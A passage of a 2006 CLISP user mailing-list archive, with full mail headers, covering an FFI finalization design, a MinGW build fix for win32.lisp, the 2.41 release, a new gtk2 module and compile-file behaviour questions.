Steingold (http://www.podval.org/~sds) on Fedora Core release 5 (Bordeaux) http://palestinefacts.org http://openvotingconsortium.org http://pmw.org.il http://iris.org.il http://truepeace.org http://honestreporting.com There is Truth, and its value is T. Or just non-NIL. So 0 is True! From Joerg-Cyril.Hoehle@t-systems.com Fri Oct 13 03:19:05 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GYK89-00017t-Oc for clisp-list@lists.sourceforge.net; Fri, 13 Oct 2006 03:19:05 -0700 Received: from tcmail33.telekom.de ([217.6.95.240]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1GYK89-0005hy-3Y for clisp-list@lists.sourceforge.net; Fri, 13 Oct 2006 03:19:05 -0700 Received: from S4DE8PSAAGT.mitte.t-com.de by tcmail31.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Fri, 13 Oct 2006 11:06:36 +0200 Received: from S4DE8PSAAFQ.mitte.t-com.de ([10.151.180.5]) by S4DE8PSAAGT.mitte.t-com.de with Microsoft SMTPSVC(6.0.3790.1830); Fri, 13 Oct 2006 11:06:36 +0200 Content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable X-MimeOLE: Produced By Microsoft Exchange V6.5 Date: Fri, 13 Oct 2006 11:06:34 +0200 Message-Id: in-reply-to: <452E47DC.2010005@gnu.org> X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: package exports and finalization trick Thread-Index: AcbuBUSzPGrFt6yHS8qCLwxOh3LHrQAoE/wQ From: "Hoehle, Joerg-Cyril" To: X-OriginalArrivalTime: 13 Oct 2006 09:06:36.0354 (UTC) FILETIME=[E2CA7A20:01C6EEA6] X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: Re: [clisp-list] package exports and finalization trick X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 13 Oct 2006 10:19:06 -0000 Sam Steingold wrote: >no, set-foreign-pointer sets fa_base of model to fv_address of problem. >problem can be collected without collecting its fv_address. >I don't see how this can work. I still think it can work. One has to think about the three objects = that every # involves (# and = #) and decide where to put the finalizer. Maybe you should try to put the problem finalizer on the = foreign-pointer, not the foreign-variable? That's in line with my = suggestion to have the models share their pointer with the problem: as = long as a model is reachable, the problem pointer is reachable as well = and the problem finalizer will not be called (while the problem's = # object may be unreachable already). If the users calls destroy-problem explicitly, the pointer gets = invalidated and subsequent calls to destroy-model could be used to = signal a protocol error, i.e. a fault in the program. The explicit destroy calls could be advertised to the user as a means of = early resource reclamation. You said these data vectors could be large. = Or just leave it all to GC (via finalization). Regards, J=F6rg. From jdunrue@gmail.com Fri Oct 13 07:24:57 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GYNy5-0006oW-Ix for clisp-list@lists.sourceforge.net; Fri, 13 Oct 2006 07:24:57 -0700 Received: from py-out-1112.google.com ([64.233.166.183]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1GYNy4-00037O-99 for clisp-list@lists.sourceforge.net; Fri, 13 Oct 2006 07:24:57 -0700 Received: by py-out-1112.google.com with SMTP id x31so1122350pye for ; Fri, 13 Oct 2006 07:24:55 -0700 (PDT) Received: by 10.35.48.15 with SMTP id a15mr5780194pyk; Fri, 13 Oct 2006 07:24:55 -0700 (PDT) Received: by 10.35.51.2 with HTTP; Fri, 13 Oct 2006 07:24:55 -0700 (PDT) Message-ID: Date: Fri, 13 Oct 2006 08:24:55 -0600 From: "Jack Unrue" To: clisp-list@lists.sourceforge.net In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline References: X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name Subject: Re: [clisp-list] next release X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 13 Oct 2006 14:24:57 -0000 On 10/12/06, Sam Steingold wrote: > > * Jack Unrue [2006-10-12 23:52:42 -0600]: > > > > Sorry I didn't try this a couple of days ago. > > indeed. > > > In building 2.41 on MinGW, I find that wildcard.fas fails to load: > > please try downloading the source distribution in a couple of hours. > sorry. I re-downloaded 2.41 at 8am MST. Now the build gives me this error: ;; Compiling file C:\projects\third_party\build\clisp-2.41\build\bindings\win32\win32.lisp ... *** - EVAL: variable kernel32 has no value 0 errors, 0 warnings make[1]: *** [win32.fas] Error 1 make[1]: Leaving directory `/c/projects/third_party/build/clisp-2.41/build/bindings/win32' make: *** [bindings/win32] Error 2 From jdunrue@gmail.com Fri Oct 13 08:21:23 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GYOqh-0005w0-8o for clisp-list@lists.sourceforge.net; Fri, 13 Oct 2006 08:21:23 -0700 Received: from nz-out-0102.google.com ([64.233.162.201]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1GYOqc-00047F-TL for clisp-list@lists.sourceforge.net; Fri, 13 Oct 2006 08:21:23 -0700 Received: by nz-out-0102.google.com with SMTP id m22so337546nzf for ; Fri, 13 Oct 2006 08:21:18 -0700 (PDT) Received: by 10.35.88.18 with SMTP id q18mr5912790pyl; Fri, 13 Oct 2006 08:21:18 -0700 (PDT) Received: by 10.35.51.2 with HTTP; Fri, 13 Oct 2006 08:21:17 -0700 (PDT) Message-ID: Date: Fri, 13 Oct 2006 09:21:18 -0600 From: "Jack Unrue" To: clisp-list@lists.sourceforge.net In-Reply-To: <452FA835.1010105@gnu.org> MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline References: <452FA835.1010105@gnu.org> X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name Subject: Re: [clisp-list] next release X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 13 Oct 2006 15:21:24 -0000 On 10/13/06, Sam Steingold wrote: > > this patch should help: > > > --- win32.lisp 14 Jun 2006 10:52:59 -0400 1.27 > +++ win32.lisp 13 Oct 2006 10:50:20 -0400 > @@ -23,6 +23,7 @@ > ;;(c-lines "#define WINVER 0x0500~%#include ~%") > > ;(defconstant system32 (ext:string-concat (ext:getenv "WINDIR") > "\\system32\\")) > +(eval-when (compile load eval) > (defconstant advapi32 ; (ext:string-concat system32 "advapi32.dll") > "advapi32.dll") > (defconstant kernel32 ; (ext:string-concat system32 "kernel32.dll") > @@ -33,6 +34,7 @@ > "shell32.dll") > (defconstant user32 ; (ext:string-concat system32 "user32.dll") > "user32.dll") > +) > > (def-call-out GetCommandLineA (:library kernel32) > (:arguments) (:return-type c-string)) Yep, thanks. The following is now uploaded to sf.net /incoming clisp-2.41-win32-mingw-without-readline.zip built by Jack Unrue using mingw without i18n and readline with rawsock, dirkey, wildcard and bindings/win32 -- Jack Unrue From jdunrue@gmail.com Fri Oct 13 08:59:12 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GYPRI-0001Ya-49 for clisp-list@lists.sourceforge.net; Fri, 13 Oct 2006 08:59:12 -0700 Received: from py-out-1112.google.com ([64.233.166.179]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1GYPRG-0001o4-TH for clisp-list@lists.sourceforge.net; Fri, 13 Oct 2006 08:59:12 -0700 Received: by py-out-1112.google.com with SMTP id x31so1158553pye for ; Fri, 13 Oct 2006 08:59:10 -0700 (PDT) Received: by 10.35.102.18 with SMTP id e18mr5954454pym; Fri, 13 Oct 2006 08:59:10 -0700 (PDT) Received: by 10.35.51.2 with HTTP; Fri, 13 Oct 2006 08:59:09 -0700 (PDT) Message-ID: Date: Fri, 13 Oct 2006 09:59:10 -0600 From: "Jack Unrue" To: clisp-list@lists.sourceforge.net In-Reply-To: <452FB5BB.5050104@gnu.org> MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline References: <452FA835.1010105@gnu.org> <452FB5BB.5050104@gnu.org> X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name Subject: Re: [clisp-list] next release X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 13 Oct 2006 15:59:13 -0000 On 10/13/06, Sam Steingold wrote: > Jack Unrue wrote: > > > > clisp-2.41-win32-mingw-without-readline.zip > > built by Jack Unrue > > using mingw without i18n and readline > > with rawsock, dirkey, wildcard and bindings/win32 > > thanks! You're welcome :-) I re-uploaded that build using the revised win32.lisp from your other email. -- Jack Unrue From kavenchuk@tut.by Fri Oct 13 03:34:47 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GYKNJ-0002XE-Vl for clisp-list@lists.sourceforge.net; Fri, 13 Oct 2006 03:34:46 -0700 Received: from mail.tut.by ([195.137.160.40] helo=speedy.tutby.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1GYKNI-0001Kw-AL for clisp-list@lists.sourceforge.net; Fri, 13 Oct 2006 03:34:45 -0700 Received: from [194.158.196.35] (account kavenchuk@tut.by) by speedy.tutby.com (CommuniGate Pro WebUser 4.3.8) with HTTP id 158041397 for clisp-list@lists.sourceforge.net; Fri, 13 Oct 2006 13:34:38 +0300 From: =?windows-1251?Q?=DF=F0=EE=F1=EB=E0=E2_=CA=E0=E2=E5=ED=F7=F3=EA?= To: clisp-list@lists.sourceforge.net X-Mailer: CommuniGate Pro WebUser Interface v.4.3.8 Date: Fri, 13 Oct 2006 13:34:38 +0300 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="windows-1251"; format="flowed" Content-Transfer-Encoding: 8bit X-Spam-Score: 1.2 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO 0.2 UPPERCASE_25_50 message body is 25-50% uppercase X-Mailman-Approved-At: Fri, 13 Oct 2006 11:28:15 -0700 Subject: [clisp-list] build error clisp-2.41 on mingw X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 13 Oct 2006 10:34:47 -0000 source tarball from cvs (12.11.06 10:26 GMT+2), mingw, win2k ;; Compiling file C:\gnu\home\src\clisp\clisp-2.41\build-full\bindings\win32\win32.lisp ... *** - EVAL: variable kernel32 has no value If compile it manual: [1]> (compile-file "win32") ;; Compiling file C:\gnu\home\src\clisp\clisp-2.41\build-full\bindings\win32\win32.lisp ... *** - EVAL: variable kernel32 has no value ... Break 1 w32[2]> backtrace <1> # 3 <2> # <3> # <4> # 2 <5> # <6> # 2 <7> # <8> # <9> # <10> # 1 <11> # <12> # <13> # EVAL frame for form (unless kernel32 (FFI::NOTE-C-FUN '"GetCommandLineA" #:DEF-CALL-OUT-2951 'nil)) <14> # EVAL frame for form (progn (unless kernel32 (FFI::NOTE-C-FUN '"GetCommandLineA" #:DEF-CALL-OUT-2951 'nil))) -- WBR, Yaroslav Kavenchuk. --- Àðåíäà ñîâðåìåííîãî ìóëüòèìåäèéíîãî ïðîåêòîðà ñ ìîùíîé ëàìïîé (3000 ÀNSI-lm), íîóòáóê, ýêðàí è ò. ï. òåë.: 8029 6702089 (Velcom), 8029 8427853 (ÌÒÑ) From rms@gnu.org Sat Oct 14 03:07:29 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GYgQT-00046x-N9 for clisp-list@lists.sourceforge.net; Sat, 14 Oct 2006 03:07:29 -0700 Received: from fencepost.gnu.org ([199.232.76.164]) by mail.sourceforge.net with esmtps (TLSv1:RC4-SHA:128) (Exim 4.44) id 1GYgQS-0002TI-AT for clisp-list@lists.sourceforge.net; Sat, 14 Oct 2006 03:07:29 -0700 Received: from rms by fencepost.gnu.org with local (Exim 4.34) id 1GYgQP-0002xf-HC; Sat, 14 Oct 2006 06:07:25 -0400 Content-Type: text/plain; charset=ISO-8859-15 From: Richard Stallman To: clisp-list@lists.sourceforge.net In-reply-to: (message from Sam Steingold on Fri, 13 Oct 2006 00:55:35 -0400) References: Message-Id: Date: Sat, 14 Oct 2006 06:07:25 -0400 X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: Re: [clisp-list] GNU CLISP 2.41 (2006-10-13) released X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: rms@gnu.org List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 14 Oct 2006 10:07:30 -0000 Congratulations on the new release. From fahree@gmail.com Sun Oct 15 08:41:05 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GZ86r-0004w8-3J for clisp-list@lists.sourceforge.net; Sun, 15 Oct 2006 08:41:05 -0700 Received: from wx-out-0506.google.com ([66.249.82.232]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1GZ86o-0006On-Dm for clisp-list@lists.sourceforge.net; Sun, 15 Oct 2006 08:41:04 -0700 Received: by wx-out-0506.google.com with SMTP id r21so1789729wxc for ; Sun, 15 Oct 2006 08:40:59 -0700 (PDT) Received: by 10.70.57.2 with SMTP id f2mr9568223wxa; Sun, 15 Oct 2006 08:40:58 -0700 (PDT) Received: by 10.70.112.11 with HTTP; Sun, 15 Oct 2006 08:40:58 -0700 (PDT) Message-ID: <653bea160610150840l20a57f78xceced2dc206c9cbe@mail.gmail.com> Date: Sun, 15 Oct 2006 11:40:58 -0400 From: "=?ISO-8859-1?Q?Far=E9?=" To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: quoted-printable Content-Disposition: inline X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name Subject: [clisp-list] direct executables with clisp X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 15 Oct 2006 15:41:05 -0000 Dear clisp developers, I just added a "direct executable" feature to cl-launch 2.0, to produce "standalone" executables instead of a script that relies on either sources or an external dump. I found myself unable to get this feature working with clisp, because clisp insists on parsing options. Could it be possible to apply the parse-options patch by Klaus Grue GRD-2006-03-09, or something similar? http://article.gmane.org/gmane.lisp.clisp.devel/15476 http://yoa.dk/wiki/clisp/diff-u The :script option doesn't cut it. As for the solution to problem (7) in said email, I'd say that ideally, clisp would be able to open an executable file with option -M, thus allowing to execute it with parsed options. But that's a more complex task indeed. Note SBCL and GCL executables seem to have the same issues. I could only get this cl-launch feature to work with ECL at this time. [ Fran=E7ois-Ren=E9 =D0VB Rideau | Reflection&Cybernethics | http://fare.tu= nes.org ] Time and money spent in helping men to do more for themselves is far better than mere giving. -- Henry Ford From sds@gnu.org Sun Oct 15 18:12:34 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GZH1t-0005Pv-VC for clisp-list@lists.sourceforge.net; Sun, 15 Oct 2006 18:12:34 -0700 Received: from mta5.srv.hcvlny.cv.net ([167.206.4.200]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1GZH1q-0003zX-D0 for clisp-list@lists.sourceforge.net; Sun, 15 Oct 2006 18:12:33 -0700 Received: from loiso.podval.org (ool-182f780f.dyn.optonline.net [24.47.120.15]) by mta5.srv.hcvlny.cv.net (Sun Java System Messaging Server 6.2-6.01 (built Apr 3 2006)) with ESMTP id <0J77003C4FCUIZ10@mta5.srv.hcvlny.cv.net> for clisp-list@lists.sourceforge.net; Sun, 15 Oct 2006 21:12:31 -0400 (EDT) Received: by loiso.podval.org (Postfix, from userid 500) id 311B221E097; Sun, 15 Oct 2006 21:12:23 -0400 (EDT) Date: Sun, 15 Oct 2006 21:12:23 -0400 From: Sam Steingold In-reply-to: <653bea160610150840l20a57f78xceced2dc206c9cbe@mail.gmail.com> To: clisp-list@lists.sourceforge.net, =?utf-8?Q?Far=C3=A9?= Mail-followup-to: clisp-list@lists.sourceforge.net, =?utf-8?Q?Far=C3=A9?= Message-id: MIME-version: 1.0 Content-type: text/plain; charset=utf-8 Content-transfer-encoding: quoted-printable Mail-Copies-To: never X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. References: <653bea160610150840l20a57f78xceced2dc206c9cbe@mail.gmail.com> User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (gnu/linux) X-Spam-Score: 1.0 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO Subject: Re: [clisp-list] direct executables with clisp X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: clisp-list@lists.sourceforge.net List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 16 Oct 2006 01:12:34 -0000 > * Far=C3=A9 [2006-10-15 11:40:58 -0400]: > > The :script option doesn't cut it. http://clisp.cons.org/impnotes/faq.html#faq-bugs --=20 Sam Steingold (http://www.podval.org/~sds) on Fedora Core release 5 (Bordea= ux) http://camera.org http://openvotingconsortium.org http://thereligionofpeace.com http://iris.org.il http://pmw.org.il Any programming language is at its best before it is implemented and used. From sds@gnu.org Sun Oct 15 21:18:44 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GZJw4-0004Jf-P4 for clisp-list@lists.sourceforge.net; Sun, 15 Oct 2006 21:18:44 -0700 Received: from mta2.srv.hcvlny.cv.net ([167.206.4.197]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1GZJw1-000289-9n for clisp-list@lists.sourceforge.net; Sun, 15 Oct 2006 21:18:44 -0700 Received: from loiso.podval.org (ool-182f780f.dyn.optonline.net [24.47.120.15]) by mta2.srv.hcvlny.cv.net (Sun Java System Messaging Server 6.2-6.01 (built Apr 3 2006)) with ESMTP id <0J7700LNANYZP040@mta2.srv.hcvlny.cv.net> for clisp-list@lists.sourceforge.net; Mon, 16 Oct 2006 00:18:35 -0400 (EDT) Received: by loiso.podval.org (Postfix, from userid 500) id D986821E097; Mon, 16 Oct 2006 00:18:34 -0400 (EDT) Date: Mon, 16 Oct 2006 00:18:34 -0400 From: Sam Steingold To: clisp-list@lists.sourceforge.net Mail-followup-to: clisp-list@lists.sourceforge.net, dgym.bailey@gmail.com Message-id: MIME-version: 1.0 Content-type: text/plain Content-transfer-encoding: 7BIT Mail-Copies-To: never X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (gnu/linux) X-Spam-Score: 1.0 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO Cc: dgym.bailey@gmail.com Subject: [clisp-list] new clisp module: gtk2 X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: clisp-list@lists.sourceforge.net List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 16 Oct 2006 04:18:45 -0000 CLISP now has a new module: gtk2, based on a generous contribution of James Bailey . It should work on both unix and woe32. The main entry point is gtk:run-glade-file : create a UI using Glade and run it from CLISP. http://sds.podval.org/clisp/impnotes/faq.html#faq-gui http://sds.podval.org/clisp/impnotes/gtk.html An example UI is provided: $ ./configure --with-module=gtk2 --build build-gtk $ ./build-gtk/clisp -K full -x '(gtk:run-glade-file "modules/gtk2/ui.glade")' it is very basic and does nothing interesting. There are now three semi-independent competitions: 1. create a good replacement for the supplied modules/gtk2/ui.glade which really is a useful CLISP GUI. 2. based on the winning entry of [1] create a beautiful screenshot. 3. suggest how the winners in [1] and [2] should be rewarded. -- Sam Steingold (http://www.podval.org/~sds) on Fedora Core release 5 (Bordeaux) http://jihadwatch.org http://ffii.org http://israelnorthblog.livejournal.com http://dhimmi.com http://mideasttruth.com http://honestreporting.com A poet who reads his verse in public may have other nasty habits. From zellerin@gmail.com Mon Oct 16 01:43:34 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GZO4M-0001i0-KC for clisp-list@lists.sourceforge.net; Mon, 16 Oct 2006 01:43:34 -0700 Received: from nf-out-0910.google.com ([64.233.182.189]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1GZO4L-0002f0-8x for clisp-list@lists.sourceforge.net; Mon, 16 Oct 2006 01:43:34 -0700 Received: by nf-out-0910.google.com with SMTP id p46so2493700nfa for ; Mon, 16 Oct 2006 01:43:31 -0700 (PDT) Received: by 10.49.93.13 with SMTP id v13mr5781949nfl; Mon, 16 Oct 2006 01:43:31 -0700 (PDT) Received: by 10.49.54.12 with HTTP; Mon, 16 Oct 2006 01:43:31 -0700 (PDT) Message-ID: Date: Mon, 16 Oct 2006 10:43:31 +0200 From: "Tomas Zellerin" To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name Subject: [clisp-list] Compile-file bug? - non-similarity of strings with CR-LF X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 16 Oct 2006 08:43:34 -0000 Hello, consider following (rather artificial) snippet: (defmacro add-crlf (string) (with-output-to-string (o) (write-string string o) (princ #\Return o) (princ #\LineFeed o) )) (print (length (add-crlf "a"))) It prints 3 when loaded without or with compiling, but 2 when compile-file is used and .fas loaded. I think it is due to treatment described in impnotes 13.8., Treatment of Newline during Input and Output. I am no language lawyer, but I believe this contradicts requirements of CLHS about similarity of compile-file/loaded literals: "The file compiler must cooperate with the loader in order to assure that in each case where an externalizable object is processed as a literal object, the loader will construct a similar object." (3.2.4.1) Is this a bug, or in some twisted sense "desired behaviour"? Regards, Tomas From Joerg-Cyril.Hoehle@t-systems.com Mon Oct 16 02:44:25 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GZOuU-0006g8-Oi for clisp-list@lists.sourceforge.net; Mon, 16 Oct 2006 02:37:26 -0700 Received: from tcmail33.telekom.de ([217.6.95.240]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1GZOkH-00064l-Ou for clisp-list@lists.sourceforge.net; Mon, 16 Oct 2006 02:26:55 -0700 Received: from S4DE8PSAAGT.mitte.t-com.de by tcmail31.telekom.de with ESMTP; Mon, 16 Oct 2006 10:27:53 +0200 Received: from S4DE8PSAAFQ.mitte.t-com.de ([10.151.180.5]) by S4DE8PSAAGT.mitte.t-com.de with Microsoft SMTPSVC(6.0.3790.1830); Mon, 16 Oct 2006 10:27:53 +0200 Content-class: urn:content-classes:message Date: Mon, 16 Oct 2006 10:27:51 +0200 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Message-Id: in-reply-to: <653bea160610091436w68f26489o3bbaa9e3b227e713@mail.gmail.com> X-MimeOLE: Produced By Microsoft Exchange V6.5 X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: [clisp-list] compile-file merging source pathname with .lisp Thread-Index: Acbr6vGvfB/O2112TSKsTxjTCcZMYgFEQA/A From: "Hoehle, Joerg-Cyril" To: X-OriginalArrivalTime: 16 Oct 2006 08:27:53.0173 (UTC) FILETIME=[F94E7050:01C6F0FC] X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Cc: fahree@gmail.com Subject: Re: [clisp-list] compile-file merging source pathname with .lisp X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 16 Oct 2006 09:44:25 -0000 Fran=E7ois-Ren=E9 Rideau aka. Far=E9 wrote: >... clisp systematically merge-pathnames any provided source pathname >to add the type "lisp". This means that it's impossible to >compile-file a source file that doesn't have an extension at all >I think this is a bug [...] I think we agree on that. >Automatically adding ".lisp" shouldn't be done at all, at least, not >if a file already exists without this extension. Indeed, it should behave like LOAD for consistency of the user's = experience. >In the meantime, I've changed cl-launch to load without compiling when >a file has no extension. Do you know about (load foo :compiling T) -- Quite useful to cope with multiple versions Regards, J=F6rg H=F6hle. From sds@gnu.org Mon Oct 16 19:54:39 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GZf6E-0004PG-Ro for clisp-list@lists.sourceforge.net; Mon, 16 Oct 2006 19:54:38 -0700 Received: from mta4.srv.hcvlny.cv.net ([167.206.4.199]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1GZf6C-0004hG-F2 for clisp-list@lists.sourceforge.net; Mon, 16 Oct 2006 19:54:38 -0700 Received: from loiso.podval.org (ool-182f780f.dyn.optonline.net [24.47.120.15]) by mta4.srv.hcvlny.cv.net (Sun Java System Messaging Server 6.2-6.01 (built Apr 3 2006)) with ESMTP id <0J7900IJOEQS9WO1@mta4.srv.hcvlny.cv.net> for clisp-list@lists.sourceforge.net; Mon, 16 Oct 2006 22:54:30 -0400 (EDT) Received: by loiso.podval.org (Postfix, from userid 500) id 677A621E097; Mon, 16 Oct 2006 22:54:28 -0400 (EDT) Date: Mon, 16 Oct 2006 22:54:28 -0400 From: Sam Steingold In-reply-to: To: clisp-list@lists.sourceforge.net, "Hoehle, Joerg-Cyril" Mail-followup-to: clisp-list@lists.sourceforge.net, "Hoehle, Joerg-Cyril" Message-id: MIME-version: 1.0 Content-type: text/plain Content-transfer-encoding: 7BIT Mail-Copies-To: never X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. References: <452E47DC.2010005@gnu.org> User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (gnu/linux) X-Spam-Score: 1.0 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO Subject: Re: [clisp-list] package exports and finalization trick X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: 